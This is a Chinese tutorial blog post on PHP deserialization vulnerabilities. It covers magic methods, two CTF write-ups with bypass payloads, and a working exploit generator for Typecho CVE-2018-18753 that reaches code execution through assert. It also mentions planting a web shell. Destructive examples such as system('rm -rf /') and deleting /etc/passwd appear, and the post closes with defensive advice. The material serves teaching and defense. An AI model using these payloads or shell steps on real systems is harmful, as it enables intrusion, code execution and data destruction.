反序列化漏洞:程序员在代码里「养蛊」的灾难现场

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


目录

一:序列化与反序列化

1. 序列化与反序列化的定义

2. PHP序列化字符串格式

3. Magic函数与反序列化

4.序列化的其他形式

5.反序列化漏洞原理

1.关键点:Magic函数的自动调用

2.漏洞利用示例

案例一:CTF--反序列化

案例二:CTF--反序列化

案例三:Tyeccho反序列化漏洞CVE 2018-18753

1.安装typecho

2.Tyeccho反序列化漏洞CVE 2018-18753原理

3.payload代码审计

4.漏洞核心原理

5.攻击流程

反序列化防御方法

总结


一:序列化与反序列化

1. 序列化与反序列化的定义

  • 序列化(Serialization)
    将对象或数据结构转换为字符串,以便存储或传输。

    类:一个共享相同结构和行为的对象的集合

    对象:是类的实例

    $obj = new ExampleClass();
    $serialized = serialize($obj); // 输出:O:12:"ExampleClass":0:{}
  • 反序列化(Unserialization)
    将序列化后的字符串还原为原始对象或数据结构。

    $unserialized = unserialize($serialized); // 还原为ExampleClass对象
    
  • 如果传递的字符串不可以序列化,则返回 FALSE
  • 如果对象没有预定义,反序列化得到的对象是 __PHP_Incomplete_Class

2. PHP序列化字符串格式

序列化字符串由以下部分组成:

O:<类名长度>:"<类名>":<属性数量>:{<属性键值对>}

示例

class User {
    public $name = "Alice";
    private $id = 100;
}
serialize(new User());

输出:

O:4:"User":2:{s:4:"name";s:5:"Alice";s:7:"Userid";i:100;}

3. Magic函数与反序列化

PHP在反序列化过程中会自动调用特定Magic函数:

函数作用
__construct当一个对象创建时被调用
__destruct当一个对象销毁时被调用
__toString当一个对象被当作一个字符串使用
__sleep在对象被序列化之前运行
__wakeup在对象被反序列化之后被调用
__serialize()对对象调用 serialize () 方法,PHP 7.4.0 起
__unserialize()对对象调用 unserialize () 方法,PHP 7.4.0 起
__call()在对象上下文中调用不可访问的方法时触发
__callStatic()在静态上下文中调用不可访问的方法时触发
__get()用于从不可访问的属性读取数据
__set()用于将数据写入不可访问的属性
__isset()在不可访问的属性上调用 isset () 或 empty () 触发
__unset()在不可访问的属性上使用 unset () 时触发
__invoke()当脚本尝试将对象调用为函数时触发
  1. __wakeup()
    在反序列化完成后触发,常用于初始化操作(如数据库连接)。

  2. __destruct()
    在对象销毁时触发,常用于资源释放。

  3. __toString()
    当对象被当作字符串处理时触发。

  4. __call()
    当调用不可访问方法时触发。

class Example {
    public function __wakeup() {
        echo "反序列化完成!";
    }
    public function __destruct() {
        echo "对象销毁!";
    }
}
$data = unserialize('O:7:"Example":0:{}');
// 输出:反序列化完成!对象销毁!

magic函数作用:避免代码大量重复,避免维护困难

PHP序列化和反序列化:实现跨平台传输对象,用于做缓存


4.序列化的其他形式

json 字符串 json_encode
xml 字符串 wddx_serialize_value
二进制格式
字节数组


5.反序列化漏洞原理

1.关键点:Magic函数的自动调用

PHP反序列化时,如果对象类中定义了以下函数方法,会按顺序自动执行

  1. __wakeup():反序列化时触发。

  2. __destruct():对象销毁时触发(如脚本执行结束或手动释放对象)。

  3. __toString():对象被当作字符串使用时触发。

  4. __call():调用不存在的方法时触发。

漏洞成因
若攻击者能控制反序列化的输入数据,并构造一个包含恶意代码的序列化字符串,当反序列化后触发上述函数方法中的敏感操作(如文件操作、命令执行),即可形成漏洞。


2.漏洞利用示例

案例:通过 __destruct() 删除文件

class FileHandler {
    public $filename;
    
    public function __destruct() {
        // 对象销毁时删除文件
        unlink($this->filename); // 危险操作!
    }
}

// 攻击者构造恶意序列化数据
$data = 'O:11:"FileHandler":1:{s:8:"filename";s:9:"/etc/passwd";}';
$obj = unserialize($data); // 反序列化触发 __destruct(),删除系统文件

攻击流程

  1. 攻击者发现目标类中存在 __destruct() 方法,且操作了用户可控属性(如 $filename)。

  2. 构造序列化字符串,将 $filename 设置为敏感路径(如 /etc/passwd)。

  3. 当目标应用反序列化该字符串时,对象销毁时自动调用 __destruct(),触发文件删除。

漏洞触发三要素:

  1. 有自动机关:类里写了 __destruct__wakeup 等函数方法

  2. 机关里埋雷:这些方法调了 system、eval、文件操作 等危险函数。

  3. 快递随便收:程序无脑反序列化用户传来的数据(比如Cookie、参数)。(漏洞触发点)


案例一:CTF--反序列化

打开靶场如下图

打开后我们发现是一对PHP代码,先对代码进行审计

class xctf {                           // 定义名为xctf的类

    public $flag = '111';              // 声明公有属性$flag,默认值为'111'

    public function __wakeup() {       // 定义魔术方法__wakeup()

        exit('bad requests');          // 当反序列化时触发,立即终止程序并输出错误

}}

根据代码审计结果我们得知__wakeup 是我们拿到flag的一大阻碍,只要绕过这个函数就可以拿到flag

如何绕过__wakeup:首先序列化这个字符

<?php

class xctf {

    public $flag = '111';

    public function __wakeup() {

        exit('bad requests');

    }

}



// 生成序列化Payload

$payload = serialize(new xctf());

echo "正常序列化结果:" . $payload . "\n";



// 构造绕过__wakeup()的Payload

$evil_payload = str_replace(':1:', ':2:', $payload);

echo "恶意Payload:" . $evil_payload . "\n";



// URL编码后的Payload

echo "URL编码:" . urlencode($evil_payload);

序列化成功

然后修改属性数量绕过 __wakeup()将属性数量从1修改为大于1得值就可以绕过__wakeup

然后利用?Code=payload   就可以输出flag

成功拿到flag


案例二:CTF--反序列化

首先我们需要了解以下参数

序列化public private protect参数产生不同结果

Pubic 公有

Private 私有

Protect 保护

打开靶场如下图

观察这个CTF题目它说falg在flag.php文件中并且给了我们源代码那我们还是先进行代码分析

未过滤的反序列化入口
unserialize($_GET['val']) 直接反序列化用户输入,允许攻击者注入任意对象。

__wakeup() 的安全重置逻辑
反序列化时会调用 __wakeup(),强制将 $file 重置为 index.php,阻碍攻击者读取 flag.php

__destruct() 的文件读取操作
对象销毁时会触发 __destruct(),通过 highlight_file() 输出 $file 的内容。

通过源码可以看到里面有一个flie如果我们序列化后将其修改为flag.php不就可以读取flag.php了么,由于使用Private 私有(案例一使用共有不需要截断)所以我们需要再序列化后再将类名和成员变量名使用%00隔断才可以然后再修改属性值大小绕过__wakeup就可以得到flag


构建payload

输出序列化后的值:O:6:"sercet":1:{s:12:"sercetfile";s:8:"flag.php";} 

修改:O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";} 

Payload:?val=O:6:"sercet":3:{s:12:"%00sercet%00file";s:8:"flag.php";} 

然后就可以得到flag了


案例三:Tyeccho反序列化漏洞CVE 2018-18753

1.安装typecho

将typecho文件夹放入小皮目录下

在小皮创建该网站

创建数据库typecho

安装成功


2.Tyeccho反序列化漏洞CVE 2018-18753原理

  • CVE-2018-18753

  • 漏洞概述:
    typecho 是一款非常简洁快速CMS,前台 install.php 文件存在反序列化漏洞,通过构造的反序列化字符串注入可以执行任意 PHP 代码。

  • 影响版本:typecho1.0(14.10.10)


1.观察 install.php 源代码中发现了反序列化的入口

将 Typecho_cookie::get()方法的值 base64 解码 再反序列化回来赋值给 $config所以后续我们需要以base64编码方式注入,还可以看到里面通过Typecho_Cookie::get() 方法获取__typecho_config 变量。我们在源代码中找找这个方法



通过全局搜索的方式找到了 /var/Typecho/Cookie.php文件 中的Typecho_Cookie::get() 方法,通过分析我们发现__typecho_config 变量是可控的且只有不能为数组的过滤条件。__typecho_config 可以通过 POST 或者 Cookie 传入的然后进行一个反序列化操作


利用Typecho_Cookie::delete将变量__typecho_config删除了,然后创建了一个新的对象Db将config中的adapter和prefix传入


我们找找这个新对象Db,将$adapterName 直接拼接在一串字符串后面,也就是将 $adapterName 当作字符串拼接之后又赋值给了 $adapterName,这个时候如果 adapterName 如果为一个对象的话,就会自动调用 __toString 的Magic方法。我们找找__toString 方法


根据下面那一坨代码分析如下

$item['title'] 被包裹在 <![CDATA[...]]> 中,表面上是安全的XML转义。
:在 Typecho_Feed 的 __toString() 方法中(此代码的上层逻辑),存在对 Typecho_Common::slugName() 的调用,例如:

$content = Typecho_Common::slugName($this->_items[0]['title']);
  • 攻击者控制点
    通过反序列化,攻击者可以控制 $this->_items[0]['title'] 的值,并最终将其传递给 Typecho_Common::slugName()
    动态函数执行
    slugName() 内部通过 call_user_func() 调用函数,攻击者可通过篡改静态变量 Typecho_Common::$_slugName,将其指向危险函数(如 system)。


对象属性访问的陷阱
当 $item['author'] 是反序列化生成的恶意对象时,访问其属性(如 screenName 或 url)可能触发以下操作:

  • __get() 魔术方法
    如果该对象所属的类定义了 __get() 方法,访问不存在的属性会触发此方法,可能执行攻击者预设的逻辑。


看不懂看这个例子
  • 组装恶意玩具
    黑客创建一个黑客玩具对象,藏在$item['author']里。
    → 把改装玩具塞进快递盒(序列化数据)。

  • 诱骗你按「不存在」的按钮
    正常代码尝试访问$item['author']->screenName,但黑客故意让screenName不存在
    → 你以为按的是「按钮A」,实际触发隐藏的__get()

  • 触发爆炸
    __get()里的system("爆炸指令")执行,比如删除服务器文件。
    → 玩具突然大喊:rm -rf /,服务器当场去世!💥*

那这里如果screenName不可访问的时候(私有或者不存在) 就会调用__get() 魔术方法所以接下来我们寻着这个方法


利用全局搜索 function __get() ,找到文件 /var/Typecho/Request.php,然后我们找呀找,看看里面有没有什么好东西。突然看到了敏感函数 call_user_func()欣喜若狂

此方法用于对输入值 $value 应用一系列过滤器($this->_filter),处理完成后清空过滤器列表。关键逻辑:

foreach ($this->_filter as $filter) {
    $value = is_array($value) 
        ? array_map($filter, $value)  // 若$value是数组,遍历应用过滤器
        : call_user_func($filter, $value); // 否则直接调用过滤器
}
  • 动态函数调用:通过 call_user_func 或 array_map 执行用户定义的过滤器函数。

  • 灵活性高:允许自定义处理逻辑,但也是风险所在


风险点:攻击者控制 $this->_filter

若 $this->_filter 属性可被反序列化数据控制,攻击者可注入恶意回调函数,例如:

$this->_filter = ['system'];  // 危险函数
$value = 'rm -rf /';          // 恶意参数

调用链为:

call_user_func('system', 'rm -rf /'); // 直接执行系统命令!


构造payload

<?php
class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'link' => '1',
            'date' => 1508895132,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();
    public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';    //替换phpinfo()这里进行深度利用
        $this->_filter[0] = 'assert';
    }
}

$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));
?>

3.payload代码审计

(1)Typecho_Feed 类

class Typecho_Feed {
    // ... 常量定义 ...
    private $_type;
    private $_items;

    public function __construct() {
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'link' => '1',
            'date' => 1508895132,
            'category' => array(new Typecho_Request()), // 关键点:注入恶意对象
            'author' => new Typecho_Request(),          // 关键点:注入恶意对象
        );
    }
}
  • 攻击意图
    _items 数组中的 category 和 author 属性被设置为 Typecho_Request 对象,目的是在反序列化后触发其危险逻辑。


(2)Typecho_Request 类

class Typecho_Request {
    private $_params = array();
    private $_filter = array();

    public function __construct() {
        $this->_params['screenName'] = 'phpinfo()';  // 待执行的PHP代码
        $this->_filter[0] = 'assert';               // 危险函数:assert
    }
}
  • 攻击意图
    通过 _filter 设置危险回调函数 assert,并将 _params['screenName'] 设置为待执行的代码(phpinfo()),为后续触发代码执行做准备。


2. 漏洞触发链解析

(1)反序列化入口

当Typecho应用反序列化恶意数据时(如Cookie中的__typecho_config参数),会还原$exp对象:

$exp = array(
    'adapter' => new Typecho_Feed(), // 包含恶意Typecho_Request对象
    'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp)); // 输出Base64编码的Payload

(2)触发 __toString() 方法

在Typecho的Typecho_Feed类中,__toString()方法会遍历_items生成XML内容,其中可能调用Typecho_Common::slugName()方法处理title字段:

public function __toString() {
    // ...
    $content = Typecho_Common::slugName($this->_items[0]['title']);
    // ...
}

(3)slugName() 动态函数调用

Typecho_Common::slugName()的实现如下(漏洞版本):


public static function slugName($name) {
    $slug = call_user_func(self::$_slugName, $name); // 动态调用函数
    return $slug;
}
  • 攻击者控制点
    通过反序列化覆盖静态变量self::$_slugName,将其指向Typecho_Request_filter[0](即assert),并将$name设置为_params['screenName'](即phpinfo()),从而触发:

    call_user_func('assert', 'phpinfo()'); // 执行phpinfo()

    流程如下

  • 构造Payload

    • Typecho_Feed 注入 Typecho_Request 对象。

    • Typecho_Request 设置 _filter 为 assert_params 为 phpinfo()

  • 触发反序列化

    • 目标应用反序列化恶意数据后,触发 Typecho_Feed 的 __toString() 方法。

    • slugName() 调用 call_user_func('assert', 'phpinfo()'),执行任意代码。

  • 执行结果

    • 服务器输出 phpinfo() 页面,验证漏洞存在。

    • 实际攻击中可替换 phpinfo() 为恶意命令(如 system('rm -rf /')


如果你还是看不明白,看下面这个例子

1. 车间1:制造「炸弹外壳」(Typecho_Feed类)

class Typecho_Feed {
    // ... 常量(包装盒上的标签)
    private $_items; // 快递盒里装的物品

    public function __construct() {
        $this->_items[0] = array(
            'category' => array(new Typecho_Request()), // 藏了一个「子炸弹」
            'author' => new Typecho_Request()           // 再藏一个「子炸弹」
        );
    }
}
  • 作用:创建一个快递盒(Typecho_Feed对象),盒子里塞了两个「子炸弹」(Typecho_Request对象)。

  • 关键点_items是炸弹的「核心部件」,内含触发机关!


2. 车间2:制造「子炸弹」(Typecho_Request类)

class Typecho_Request {
    private $_params = array('screenName' => 'phpinfo()'); // 炸弹密码
    private $_filter = array('assert');                   // 引爆按钮

    public function __construct() {
        // 设置密码为phpinfo(),按钮为assert
    }
}
  • 作用:每个「子炸弹」都有两个关键零件:

    1. _params['screenName']:要执行的代码(比如phpinfo())。

    2. _filter[0]:引爆按钮(assert函数,能把字符串当代码执行)。

  • 比喻assert就像「语音识别炸弹」,听到特定暗号(字符串代码)就会爆炸!


3. 总装车间:打包成「超级炸弹」

$exp = array(
    'adapter' => new Typecho_Feed(), // 放入炸弹外壳
    'prefix' => 'typecho_'            // 伪装成普通快递
);
echo base64_encode(serialize($exp));  // 打包成加密包裹
  • 作用:把炸弹外壳(Typecho_Feed)装进一个快递箱(数组),序列化成字符串,再用Base64编码(像用密码箱锁住)。

  • 结果:生成一段人眼看不懂的乱码(Payload),比如:

    复制

    YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxO......

第二步:快递炸弹的「引爆逻辑」

当Typecho网站拆开这个快递(反序列化数据)时,会发生以下连锁反应:


1. 拆开快递外壳(还原Typecho_Feed对象)

  • 网站读取adapter参数,还原Typecho_Feed对象。

  • 此时,_items数组中的两个Typecho_Request「子炸弹」也被还原。


2. 触发「子炸弹」的机关(__toString方法)

当网站尝试把Typecho_Feed对象转换成字符串(比如生成网页内容)时,会自动调用其__toString()方法。
关键代码:

// 伪代码:Typecho_Feed的__toString()方法
public function __toString() {
    $content = $this->_items[0]['title'];
    // 会调用一个危险函数处理$content!
}
  • 漏洞点:处理title时,实际会调用Typecho_Common::slugName(),其中隐藏了call_user_func()


3. 启动「语音识别炸弹」(call_user_func + assert)

在漏洞版本的Typecho中,slugName()代码如下:

public static function slugName($name) {
    $slug = call_user_func(self::$_slugName, $name); // 关键危险函数!
    return $slug;
}
  • 黑客篡改:通过反序列化,把self::$_slugName替换成Typecho_Request_filter[0](即assert)。

  • 传递参数$name被替换成_params['screenName'](即phpinfo())。

最终执行

call_user_func('assert', 'phpinfo()'); // 执行phpinfo()函数!

第三步:爆炸效果💥

  • 网站服务器会执行phpinfo(),输出PHP配置信息(证明漏洞存在)。

  • 实际攻击中,可替换phpinfo()system('rm -rf /')等危险命令,直接摧毁服务器!


为什么这段代码能绕过防御?

  1. 伪装性极强
    Payload被Base64编码,普通防火墙难以识别。

  2. 利用合法类
    所有用到的类(Typecho_FeedTypecho_Request)都是Typecho自带的,非外部代码。

  3. 链式触发
    漏洞触发需要多个类配合,单一安全检查难以拦截。


4.漏洞核心原理

  1. 危险的反序列化入口
    Typecho在处理用户请求时,未对Cookie中的__typecho_config参数进行过滤和验证,直接对其调用unserialize()函数进行反序列化。攻击者可通过篡改该参数注入恶意序列化数据。

  2. 利用链构造(POP链)
    Typecho代码中存在可被串联的类方法,攻击者通过构造特定的对象属性链(POP链),在反序列化时触发危险操作:

    • 关键类Typecho_Feed 类中的__toString()方法。

    • 触发点__toString()方法调用了Typecho_Common::slugName(),后者通过call_user_func()动态执行函数。

  3. 动态函数执行
    攻击者通过控制call_user_func()的参数,将其指向危险函数(如systemeval,并传入恶意参数,最终实现远程代码执行(RCE)


5.攻击流程

生成payload

将生成的payload使用hackbar注入网站然后就可以得到他的版本信息说明漏洞利用成功

使用python写入shell法

成功写入shell之后就可以使用蚁剑连接使用(也可以使用bp抓包方式注入shell)


反序列化防御方法

防御方法说明示例或操作
避免反序列化不可信数据禁止直接反序列化用户输入的未经验证数据(如Cookie、HTTP参数)。php<br>// ❌ 避免:<br>$data = unserialize($_COOKIE['data']);<br>// ✅ 使用JSON替代:<br>$data = json_decode($_COOKIE['data'], true);<br>
白名单限制反序列化类仅允许反序列化已知安全的类,阻止攻击者注入恶意对象。php<br>// PHP 7.0+:<br>$data = unserialize($input, ['allowed_classes' => ['SafeClass', 'Logger']]);<br>
数据签名/加密通过签名或加密确保序列化数据的完整性和机密性,防止篡改。php<br>// HMAC签名验证:<br>$signature = hash_hmac('sha256', $data, $secret_key);<br>// 加密传输:<br>$encrypted = openssl_encrypt($data, 'AES-256-CBC', $key);<br>
避免危险Magic方法检查并移除 __destruct__wakeup 等Magic方法中的危险操作(如命令执行)。php<br>class SafeClass {<br> public function __destruct() {<br> // 仅记录日志,不执行危险操作<br> }<br>}<br>
禁用危险函数在 php.ini 中禁用高危函数,限制攻击者利用能力。ini<br>; php.ini配置:<br>disable_functions = exec,system,eval,passthru<br>
输入过滤与类型检查对反序列化后的对象进行类型和属性校验,确保符合预期。php<br>if ($data instanceof SafeClass && property_exists($data, 'valid_property')) {<br> // 安全处理<br>}<br>
替换序列化方案使用JSON、XML等更安全的序列化格式替代PHP原生序列化。php<br>// 序列化:<br>$json = json_encode($data);<br>// 反序列化:<br>$data = json_decode($json, true);<br>
代码审计与依赖管理定期审计代码中的反序列化点,更新第三方库至安全版本。- 使用工具(如PHPStan、RIPS)扫描 unserialize() 调用。
- 升级已知漏洞库(如Laravel、ThinkPHP)。
日志与监控记录反序列化操作日志,监控异常行为(如反序列化失败或未知类加载)。php<br>try {<br> $data = unserialize($input);<br>} catch (Exception $e) {<br> error_log("反序列化失败:" . $e->getMessage());<br>}<br>

关键总结

  1. 零信任原则:始终假设外部输入不可信,严格校验来源和内容。

  2. 最小化攻击面:禁用不必要的函数、限制可反序列化的类。

  3. 纵深防御:结合签名、加密、日志等多层防护机制,降低漏洞利用可能性


总结

反序列化漏洞是“信任的代价”,防御的关键是永不轻信,永远验证

(需要源代码联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

评论 24
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

安全瞭望Sec

感谢您的打赏,您的支持让我更加

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值